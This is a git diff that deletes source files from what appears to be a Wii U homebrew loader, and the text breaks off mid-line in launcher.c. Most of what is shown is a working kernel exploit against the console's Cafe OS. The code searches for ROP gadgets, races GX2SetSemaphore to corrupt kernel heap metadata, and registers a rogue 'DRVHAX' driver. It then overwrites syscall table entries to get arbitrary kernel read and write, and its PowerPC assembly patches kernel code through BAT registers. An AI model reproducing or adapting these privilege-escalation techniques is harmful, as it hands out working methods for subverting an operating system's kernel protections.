SET_R4_TO_ADDR(addr) \ - lis r3, addr@h ; \ - ori r3, r3, addr@l ; \ - stw r4, 0(r3) ; \ - dcbf 0, r3 ; \ - icbi 0, r3 ; - - .globl SC_0x25_KernelCopyData -SC_0x25_KernelCopyData: - li r0, 0x2500 - sc - blr - - .globl Syscall_0x36 -Syscall_0x36: - li r0, 0x3600 - sc - blr - - .globl KernelPatches -KernelPatches: - # store the old DBAT0 - mfdbatu r5, 0 - mfdbatl r6, 0 - - # memory barrier - eieio - isync - - # setup DBAT0 for access to kernel code memory - lis r3, 0xFFF0 - ori r3, r3, 0x0002 - mtdbatu 0, r3 - lis r3, 0xFFF0 - ori r3, r3, 0x0032 - mtdbatl 0, r3 - - # memory barrier - eieio - isync - - # SaveAndResetDataBATs_And_SRs hook setup, but could be any BAT function though - # just chosen because its simple - lis r3, BAT_SETUP_HOOK_ADDR@h - ori r3, r3, BAT_SETUP_HOOK_ADDR@l - - # make the kernel setup our section in IBAT4 and - # jump to our function to restore the replaced instructions - lis r4, 0x3ce0 # lis r7, BAT4L_VAL@h - ori r4, r4, BAT4L_VAL@h - stw r4, 0x00(r3) - lis r4, 0x60e7 # ori r7, r7, BAT4L_VAL@l - ori r4, r4, BAT4L_VAL@l - stw r4, 0x04(r3) - lis r4, 0x7cf1 # mtspr 561, r7 - ori r4, r4, 0x8ba6 - stw r4, 0x08(r3) - lis r4, 0x3ce0 # lis r7, BAT4U_VAL@h - ori r4, r4, BAT4U_VAL@h - stw r4, 0x0C(r3) - lis r4, 0x60e7 # ori r7, r7, BAT4U_VAL@l - ori r4, r4, BAT4U_VAL@l - stw r4, 0x10(r3) - lis r4, 0x7cf0 # mtspr 560, r7 - ori r4, r4, 0x8ba6 - stw r4, 0x14(r3) - lis r4, 0x7c00 # eieio - ori r4, r4, 0x06ac - stw r4, 0x18(r3) - lis r4, 0x4c00 # isync - ori r4, r4, 0x012c - stw r4, 0x1C(r3) - lis r4, 0x7ce8 # mflr r7 - ori r4, r4, 0x02a6 - stw r4, 0x20(r3) - lis r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@h # bla BAT_SETUP_HOOK_ENTRY - ori r4, r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@l - stw r4, 0x24(r3) - - # flush and invalidate the replaced instructions - lis r3, (BAT_SETUP_HOOK_ADDR & ~31)@h - ori r3, r3, (BAT_SETUP_HOOK_ADDR & ~31)@l - dcbf 0, r3 - icbi 0, r3 - lis r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@h - ori r3, r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@l - dcbf 0, r3 - icbi 0, r3 - sync - - # setup IBAT4 for core 1 at this position (not really required but wont hurt) - # IBATL 4 - lis r3, BAT4L_VAL@h - ori r3, r3, BAT4L_VAL@l - mtspr 561, r3 - - # IBATU 4 - lis r3, BAT4U_VAL@h - ori r3, r3, BAT4U_VAL@l - mtspr 560, r3 - - # memory barrier - eieio - isync - - # write "nop" to some positions - lis r4, 0x6000 - # nop on IBATU 4 and DBAT 5 set/reset -#ifdef BAT_SET_NOP_ADDR_1 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_1) -#endif -#ifdef BAT_SET_NOP_ADDR_2 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_2) -#endif -#ifdef BAT_SET_NOP_ADDR_3 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_3) -#endif -#ifdef BAT_SET_NOP_ADDR_4 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_4) -#endif -#ifdef BAT_SET_NOP_ADDR_5 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_5) -#endif -#ifdef BAT_SET_NOP_ADDR_6 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_6) -#endif -#ifdef BAT_SET_NOP_ADDR_7 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_7) -#endif - -#if (defined(BAT_SET_NOP_ADDR_8) && defined(BAT_SET_NOP_ADDR_9)) - # memory barrier - eieio - isync - - # setup DBAT0 for access to kernel code memory - lis r3, 0xFFEE - ori r3, r3, 0x0002 - mtdbatu 0, r3 - lis r3, 0xFFEE - ori r3, r3, 0x0032 - mtdbatl 0, r3 - - # memory barrier - eieio - isync - - # write "nop" to some positions - lis r4, 0x6000 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_8) - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_9) -#endif - - # memory barrier - eieio - isync - - # restore DBAT 0 and return from interrupt - mtdbatu 0, r5 - mtdbatl 0, r6 - - # memory barrier - eieio - isync - - blr - diff --git a/dsrom/vwii_loader/kexploit.c b/dsrom/vwii_loader/kexploit.c deleted file mode 100644 index 5fa4419..0000000 --- a/dsrom/vwii_loader/kexploit.c +++ /dev/null @@ -1,245 +0,0 @@ -#include "kexploit.h" -#include "coreinit.h" - -void wait(unsigned int coreinit_handle, unsigned int t); -void doBrowserShutdown(unsigned int coreinit_handle); -void setupOSScreen(unsigned int coreinit_handle); -void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos); -void exitOSScreen(unsigned int coreinit_handle); -void callSysExit(unsigned int coreinit_handle, void *sysFunc); - -/* Initial setup code stolen from Pong, makes race much more reliable */ -void run_kexploit(private_data_t *private_data) -{ - /* Get a handle to coreinit.rpl and gx2.rpl */ - unsigned int coreinit_handle = private_data->coreinit_handle; - unsigned int gx2_handle = 0; - OSDynLoad_Acquire("gx2.rpl", &gx2_handle); - - /* Exit functions */ - void (*__PPCExit)(); - OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit); - - /* Memory functions */ - void (*DCFlushRange)(void *buffer, uint32_t length); - void* (*OSAllocFromSystem)(uint32_t size, int align); - void (*OSFreeToSystem)(void *ptr); - OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); - OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); - OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); - - /* OS thread functions */ - bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int priority, uint16_t attr); - int (*OSResumeThread)(void *thread); - void (*OSExitThread)(); - int (*OSIsThreadTerminated)(void *thread); - void (*OSYieldThread)(void); - - OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); - OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread); - - /* OSDriver functions */ - uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020}; - uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit); - uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020}; - uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit); - uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020}; - uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit); - uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020}; - uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit); - - /* GX2 functions */ - void (*GX2SetSemaphore)(uint64_t *sem, int action); - void (*GX2Init)(void *arg); - void (*GX2Shutdown)(void); - OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore); - OSDynLoad_FindExport(gx2_handle, 0, "GX2Init", &GX2Init); - OSDynLoad_FindExport(gx2_handle, 0, "GX2Shutdown", &GX2Shutdown); - - /* Init GX2 again */ - GX2Init((void*)0); - - /* Allocate space for DRVHAX */ - uint32_t *drvhax = OSAllocFromSystem(0x4c, 4); - - /* Set the kernel heap metadata entry */ - uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE)); - metadata[0] = (uint32_t)drvhax; - metadata[1] = (uint32_t)-0x4c; - metadata[2] = (uint32_t)-1; - metadata[3] = (uint32_t)-1; - - /* Find some gadgets */ - uint32_t gx2data[] = {0xFC2A0000}; - uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000); - uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020}; - uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000); - uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020}; - uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000); - uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024}; - uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18; - uint32_t gx2rop[] = {0x819A0004, 0x55800036, 0x7C006040, 0x40820054, 0x2C190000, 0x4182004C, 0x2C1F0000, 0x40820044, 0x2C1D0000, 0x4182003C, 0x2C1E0000}; - uint32_t gx2rop_addr = (uint32_t) find_gadget(gx2rop, 0x2C, 0x01000000); - - /* Modify a next ptr on the heap */ - uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET; - - /* Make a thread to modify the semaphore */ - OSContext *thread = (OSContext*)private_data->MEMAllocFromDefaultHeapEx(0x1000, 8); - uint32_t *stack = (uint32_t*)private_data->MEMAllocFromDefaultHeapEx(0xA0, 0x20); - if (!OSCreateThread(thread, (void*)gx2rop_addr, 0, NULL, ((uint32_t)stack) + 0xA0, 0xA0, 0, 0x1 | 0x8)) OSFatal("Failed to create thread"); - - /* Set up the ROP chain */ - thread->gpr[1] = (uint32_t)stack; - thread->gpr[3] = kpaddr; - thread->gpr[30] = gx2data_addr; - thread->gpr[31] = 1; - thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C; - - stack[0x24/4] = r30r31load_addr; /* Load r30/r31 - stack=0x20 */ - stack[0x28/4] = gx2data_addr; /* r30 = GX2 data area */ - stack[0x2c/4] = 1; /* r31 = 1 (signal) */ - - stack[0x34/4] = r3r4load_addr; /* Load r3/r4 - stack=0x30 */ - stack[0x38/4] = kpaddr; - - stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C; /* GX2SetSemaphore() - stack=0x40 */ - - stack[0x64/4] = r30r31load_addr; /* Load r30/r31 - stack=0x60 */ - stack[0x68/4] = 0x100; /* r30 = r3 of do_flush = 0x100 */ - stack[0x6c/4] = 1; /* r31 = r4 of do_flush = 1 */ - - stack[0x74/4] = doflush_addr; /* do_flush() - stack=0x70 */ - - stack[0x94/4] = (uint32_t)OSExitThread; - - DCFlushRange(thread, 0x1000); - DCFlushRange(stack, 0x1000); - - /* Start the thread */ - OSResumeThread(thread); - - /* Wait for a while */ - while(OSIsThreadTerminated(thread) == 0) - { - OSYieldThread(); - } - - /* Free stuff */ - private_data->MEMFreeToDefaultHeap(thread); - private_data->MEMFreeToDefaultHeap(stack); - - /* Register a new OSDriver, DRVHAX */ - char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'}; - Register(drvname, 6, NULL, NULL); - - /* Modify its save area to point to the kernel syscall table */ - drvhax[0x44/4] = KERN_SYSCALL_TBL_2 + (0x34 * 4); - - /* Use DRVHAX to install the read and write syscalls */ - uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE}; - CopyToSaveArea(drvname, 6, syscalls, 8); - - /* Clean up the heap and driver list so we can exit */ - kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0); - kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]); - - /* Shut down GX2 again */ - GX2Shutdown(); -} - -/* Simple memcmp() implementation */ -int memcmp(void *ptr1, void *ptr2, uint32_t length) -{ - uint8_t *check1 = (uint8_t*) ptr1; - uint8_t *check2 = (uint8_t*) ptr2; - uint32_t i; - for (i = 0; i < length; i++) - { - if (check1[i] != check2[i]) return 1; - } - - return 0; -} - -void* memcpy(void* dst, const void* src, uint32_t size) -{ - uint32_t i; - for (i = 0; i < size; i++) - ((uint8_t*) dst)[i] = ((const uint8_t*) src)[i]; - return dst; -} - -/* Find a gadget based on a sequence of words */ -void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) -{ - uint32_t *ptr; - - /* Search code before JIT area first */ - for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++) - { - if (!memcmp(ptr, &code[0], length)) return ptr; - } - - /* Restart search after JIT */ - for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++) - { - if (!memcmp(ptr, &code[0], length)) return ptr; - } - - OSFatal("Gadget not found!"); - return (void*)0; -} - -/* Read a 32-bit word with kernel permissions */ -uint32_t __attribute__ ((noinline)) kern_read(const void *addr) -{ - uint32_t result; - asm volatile ( - "li 3,1\n" - "li 4,0\n" - "li 5,0\n" - "li 6,0\n" - "li 7,0\n" - "lis 8,1\n" - "mr 9,%1\n" - "li 0,0x3400\n" - "mr %0,1\n" - "sc\n" - "nop\n" - "mr 1,%0\n" - "mr %0,3\n" - : "=r"(result) - : "b"(addr) - : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", - "11", "12" - ); - - return result; -} - -/* Write a 32-bit word with kernel permissions */ -void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) -{ - asm volatile ( - "li 3,1\n" - "li 4,0\n" - "mr 5,%1\n" - "li 6,0\n" - "li 7,0\n" - "lis 8,1\n" - "mr 9,%0\n" - "mr %1,1\n" - "li 0,0x3500\n" - "sc\n" - "nop\n" - "mr 1,%1\n" - : - : "r"(addr), "r"(value) - : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", - "11", "12" - ); -} diff --git a/dsrom/vwii_loader/kexploit.h b/dsrom/vwii_loader/kexploit.h deleted file mode 100644 index 096aa97..0000000 --- a/dsrom/vwii_loader/kexploit.h +++ /dev/null @@ -1,51 +0,0 @@ -#ifndef KEXPLOIT_H -#define KEXPLOIT_H - -#include "structs.h" -#include "types.h" - -/* Wait times for CPU0 and CPU2 */ -#define CPU0_WAIT_TIME 80 -#define CPU2_WAIT_TIME 92 - -/* Gadget finding addresses */ -#define JIT_ADDRESS 0x01800000 -#define CODE_ADDRESS_START 0x0D800000 -#define CODE_ADDRESS_END 0x0F848A0C - -/* Kernel addresses, stolen from Chadderz */ -#define KERN_HEAP 0xFF200000 -#define KERN_HEAP_PHYS 0x1B800000 - -#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown -#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games -#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader -#define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu -#define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL) - -#define KERN_CODE_READ 0xFFF023D4 -#define KERN_CODE_WRITE 0xFFF023F4 -#define KERN_ADDRESS_TBL 0xFFEAB7A0 -#define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270) - -/* Browser PFID */ -#define PFID_BROWSER 8 - -/* Kernel heap constants */ -#define STARTID_OFFSET 0x08 -#define METADATA_OFFSET 0x14 -#define METADATA_SIZE 0x10 - -/* Size of a Cafe OS thread */ -#define OSTHREAD_SIZE 0x1000 - -void run_kexploit(private_data_t *private_data); - -/* Find a ROP gadget by a sequence of bytes */ -void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start); - -/* Arbitrary read and write syscalls */ -uint32_t __attribute__ ((noinline)) kern_read(const void *addr); -void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value); - -#endif /* KEXPLOIT_H */ diff --git a/dsrom/vwii_loader/launcher.c b/dsrom/vwii_loader/launcher.c deleted file mode 100644 index 7b51dfc..0000000 --- a/dsrom/vwii_loader/launcher.c +++ /dev/null @@ -1,398 +0,0 @@ -#include "types.h" -#include "elf_abi.h" -#include "kexploit.h" -#include "structs.h" -#include "sd_loader.h" -#include "coreinit.h" - -#define MEM_BASE 0xC0800000 -#include "common.h" -#include "os_defs.h" - -//! this shouldnt depend on OS -#define LIB_CODE_RW_BASE_OFFSET 0xC1000000 -#define CODE_RW_BASE_OFFSET 0xC0000000 -#define DATA_RW_BASE_OFFSET 0xC0000000 - -#define ADDRESS_OSTitle_main_entry_ptr 0x1005E040 -#define ADDRESS_main_entry_hook 0x0101C56C - -#define ROOTRPX_DBAT0U_VAL 0xC00003FF -#define COREINIT_DBAT0U_VAL 0xC20001FF - -#define ROOTRPX_DBAT0L_VAL 0x30000012 -#define COREINIT_DBAT0L_VAL 0x32000012 - -#define address_LiWaitIopComplete 0x01010180 -#define address_LiWaitIopCompleteWithInterrupts 0x0101006C -#define address_LiWaitOneChunk 0x0100080C -#define address_PrepareTitle_hook 0xFFF184E4 -#define address_sgIsLoadingBuffer 0xEFE19E80 -#define address_gDynloadInitialized 0xEFE13DBC - -/* Install functions */ -static void InstallMain(private_data_t *private_data); -static void InstallPatches(private_data_t *private_data); -static void PrepareScreen(private_data_t *private_data); -static void ExitFailure(private_data_t *private_data, const char *failure); - -static void SetupKernelSyscall(unsigned int addr); -static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len); - -/* assembly functions */ -extern void SC_0x25_KernelCopyData(void* addr, void* src, unsigned int len); -extern void Syscall_0x36(void); -extern void KernelPatches(void); - -/* ****************************************************************** */ -/* ENTRY POINT */ -/* ****************************************************************** */ -void __main(void) -{ - /* Get coreinit handle and keep it in memory */ - unsigned int coreinit_handle; - OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); - - /* Get our memory functions */ - unsigned int* functionPointer; - void* (*p_memset)(void * dest, unsigned int value, unsigned int bytes); - OSDynLoad_FindExport(coreinit_handle, 0, "memset", &p_memset); - - private_data_t private_data; - p_memset(&private_data, 0, sizeof(private_data_t)); - - private_data.coreinit_handle = coreinit_handle; - private_data.memset = p_memset; - private_data.data_elf = (unsigned char *) sd_loader_sd_loader_elf; // use this address as temporary to load the elf - - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer); - private_data.MEMAllocFromDefaultHeapEx = (void*(*)(unsigned int, unsigned int))*functionPointer; - OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPointer); - private_data.MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer; - - OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &private_data.memcpy); - OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &private_data.OSEffectiveToPhysical); - OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &private_data.DCFlushRange); - OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &private_data.ICInvalidateRange); - OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &private_data._Exit); - - /* do kernel exploit if needed */ - if (private_data.OSEffectiveToPhysical((void *)0xa0000000) == (void *)0) - run_kexploit(&private_data); - - /* Since we inited GX2 without initing the screen before do that now */ - /* Without this the hbl load will have some screen corruptions */ - PrepareScreen(&private_data); - - /* Do SYSLaunchMenu to boot vWii */ - unsigned int sysapp_handle; - void (*SYSLaunchMenu)(void) = 0; - OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); - OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchMenu", &SYSLaunchMenu); - SYSLaunchMenu(); - - /* setup kernel copy data syscall */ - kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), (unsigned int)KernelCopyData); - - /* Install our code now */ - InstallMain(&private_data); - - /* setup our own syscall and call it */ - SetupKernelSyscall((unsigned int)KernelPatches); - Syscall_0x36(); - - /* Patch functions and our code for usage */ - InstallPatches(&private_data); - - /* Exit our core 0 thread to return to main */ - void (*OSExitThread)(int); - OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); - OSExitThread(0); -} - -void PrepareScreen(private_data_t *private_data) -{ - // Prepare screen - void (*OSScreenInit)(); - unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum); - unsigned int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); - unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); - unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum); - - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenInit", &OSScreenInit); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); - - // Prepare screen - int screen_buf0_size = 0; - int screen_buf1_size = 0; - unsigned int screen_color = 0; // (r << 24) | (g << 16) | (b << 8) | a; - - // Init screen and screen buffers - OSScreenInit(); - screen_buf0_size = OSScreenGetBufferSizeEx(0); - screen_buf1_size = OSScreenGetBufferSizeEx(1); - OSScreenSetBufferEx(0, (void *)0xF4000000); - OSScreenSetBufferEx(1, (void *)0xF4000000 + screen_buf0_size); - - // Clear screens - OSScreenClearBufferEx(0, screen_color); - OSScreenClearBufferEx(1, screen_color); - - // Flush the cache - private_data->DCFlushRange((void *)0xF4000000, screen_buf0_size); - private_data->DCFlushRange((void *)0xF4000000 + screen_buf0_size, screen_buf1_size); - - // Flip buffers - OSScreenFlipBuffersEx(0); - OSScreenFlipBuffersEx(1); -} - -void ExitFailure(private_data_t *private_data, const char *failure) -{ - /************************************************************************/ - unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); - unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum); - unsigned int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); - - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); - - OSScreenPutFontEx(1, 0, 0, failure); - - OSScreenFlipBuffersEx(1); - OSScreenClearBufferEx(1, 0); - - unsigned int t1 = 0x3FFFFFFF; - while(t1--) asm volatile("nop"); - - private_data->_Exit(0); -} - -/* ***************************************************************************** - * Base functions - * ****************************************************************************/ -static void SetupKernelSyscall(unsigned int address) -{ - // Add syscall #0x36 - kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x36 * 4)), address); - - // make kern_read/kern_write available in all places - kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x34 * 4)), KERN_CODE_READ); - kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x34 * 4)), KERN_CODE_READ); - kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x34 * 4)), KERN_CODE_READ); - kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x34 * 4)), KERN_CODE_READ); - - kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x35 * 4)), KERN_CODE_WRITE); - kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x35 * 4)), KERN_CODE_WRITE); - kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x35 * 4)), KERN_CODE_WRITE); - kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x35 * 4)), KERN_CODE_WRITE); -} - -static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len) -{ - /* - * Setup a DBAT access for our 0xC0800000 area and our 0xBC000000 area which hold our variables like GAME_LAUNCHED and our BSS/rodata section - */ - register unsigned int dbatu0, dbatl0, target_dbat0u, target_dbat0l; - // setup mapping based on target address - if ((addr >= 0xC0000000) && (addr < 0xC2000000)) // root.rpx address - { - target_dbat0u = ROOTRPX_DBAT0U_VAL; - target_dbat0l = ROOTRPX_DBAT0L_VAL; - } - else if ((addr >= 0xC2000000) && (addr < 0xC3000000)) - { - target_dbat0u = COREINIT_DBAT0U_VAL; - target_dbat0l = COREINIT_DBAT0L_VAL; - } - // save the original DBAT value - asm volatile("mfdbatu %0, 0" : "=r" (dbatu0)); - asm volatile("mfdbatl %0, 0" : "=r" (dbatl0)); - asm volatile("mtdbatu 0, %0" : : "r" (target_dbat0u)); - asm volatile("mtdbatl 0, %0" : : "r" (target_dbat0l)); - asm volatile("eieio; isync"); - - unsigned char *src_p = (unsigned char*)src; - unsigned char *dst_p = (unsigned char*)addr; - - unsigned int i; - for(i = 0; i < len; i++) - { - dst_p[i] = src_p[i]; - } - - unsigned int flushAddr = addr & ~31; - - while(flushAddr < (addr + len)) - { - asm volatile("dcbf 0, %0; sync" : : "r"(flushAddr)); - flushAddr += 0x20; - } - - /* - * Restore original DBAT value - */ - asm volatile("mtdbatu 0, %0" : : "r" (dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (dbatl0)); - asm volatile("eieio; isync"); -} - -static int strcmp(const char *s1, const char *s2) -{ - while(*s1 && *s2) - { - if(*s1 != *s2) { - return -1; - } - s1++; - s2++; - } - - if(*s1 != *s2) { - return -1; - } - return 0; -} - -static unsigned int get_section(private_data_t *private_data, unsigned char *data, const char *name, unsigned int * size, unsigned int * addr, int fail_on_not_found) -{ - Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data; - - if ( !data - || !IS_ELF (*ehdr) - || (ehdr->e_type != ET_EXEC) - || (ehdr->e_machine != EM_PPC)) - { - ExitFailure(private_data, "Invalid elf file"); - } - - Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff); - int i; - for(i = 0; i < ehdr->e_shnum; i++) - { - const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name; - if(strcmp(section_name, name) == 0) - { - if(addr) - *addr = shdr[i].sh_addr; - if(size) - *size = shdr[i].sh_size; - return shdr[i].sh_offset; - } - } - - if(fail_on_not_found) - ExitFailure(private_data, (char*)name); - - return 0; -} - -/* ****************************************************************** */ -/* INSTALL MAIN CODE */ -/* ****************************************************************** */ -static void InstallMain(private_data_t *private_data) -{ - // get .text section - unsigned int main_text_addr = 0; - unsigned int main_text_len = 0; - unsigned int section_offset = get_section(private_data, private_data->data_elf, ".text", &main_text_len, &main_text_addr, 1); - unsigned char *main_text = private_data->data_elf + section_offset; - /* Copy main .text to memory */ - if(section_offset > 0) - SC_0x25_KernelCopyData((void*)(CODE_RW_BASE_OFFSET + main_text_addr), main_text, main_text_len); - - // get the .rodata section - unsigned int main_rodata_addr = 0; - unsigned int main_rodata_len = 0; - section_offset = get_section(private_data, private_data->data_elf, ".rodata", &main_rodata_len, &main_rodata_addr, 0); - if(section_offset > 0) - { - unsigned char *main_rodata = private_data->data_elf + section_offset; - /* Copy main rodata to memory */ - SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_rodata_addr), main_rodata, main_rodata_len); - } - - // get the .data section - unsigned int main_data_addr = 0; - unsigned int main_data_len = 0; - section_offset = get_section(private_data, private_data->data_elf, ".data", &main_data_len, &main_data_addr, 0); - if(section_offset > 0) - { - unsigned char *main_data = private_data->data_elf + section_offset; - /* Copy main data to memory */ - SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_data_addr), main_data, main_data_len); - } - - // get the .bss section - unsigned int main_bss_addr = 0; - unsigned int main_bss_len = 0; - section_offset = get_section(private_data, private_data->data_elf, ".bss", &main_bss_len, &main_bss_addr, 0); - if(section_offset > 0) - { - unsigned char *main_bss = private_data->data_elf + section_offset; - /* Copy main data to memory */ - SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_bss_addr), main_bss, main_bss_len); - } -} - -/* ****************************************************************** */ -/* INSTALL PATCHES */ -/* All OS specific stuff is done here */ -/* ****************************************************************** */ -static void InstallPatches(private_data_t *private_data) -{ - OsSpecifics osSpecificFunctions; - private_data->memset(&osSpecificFunctions, 0, sizeof(OsSpecifics)); - - unsigned int bufferU32; - /* Pre-setup a few options to defined values */ - bufferU32 = VER; - SC_0x25_KernelCopyData((void*)&OS_FIRMWARE, &bufferU32, sizeof(bufferU32)); - bufferU32 = 0xDEADC0DE; - SC_0x25_KernelCopyData((void*)&MAIN_ENTRY_ADDR, &bufferU32, sizeof(bufferU32)); - SC_0x25_KernelCopyData((void*)&ELF_DATA_ADDR, &bufferU32, sizeof(bufferU32)); - bufferU32 = 0; - SC_0x25_KernelCopyData((void*)&ELF_DATA_SIZE, &bufferU32, sizeof(bufferU32)); - /* Related to vwii elf choice */ - SC_0x25_KernelCopyData((void*)&VWII_TITLE_ID_LOW, (void*)0xF5E70000, 4); - SC_0x25_KernelCopyData((void*)&VWII_TITLE_ID_HIGH, (void*)0xF5E70004, 4); - - unsigned int 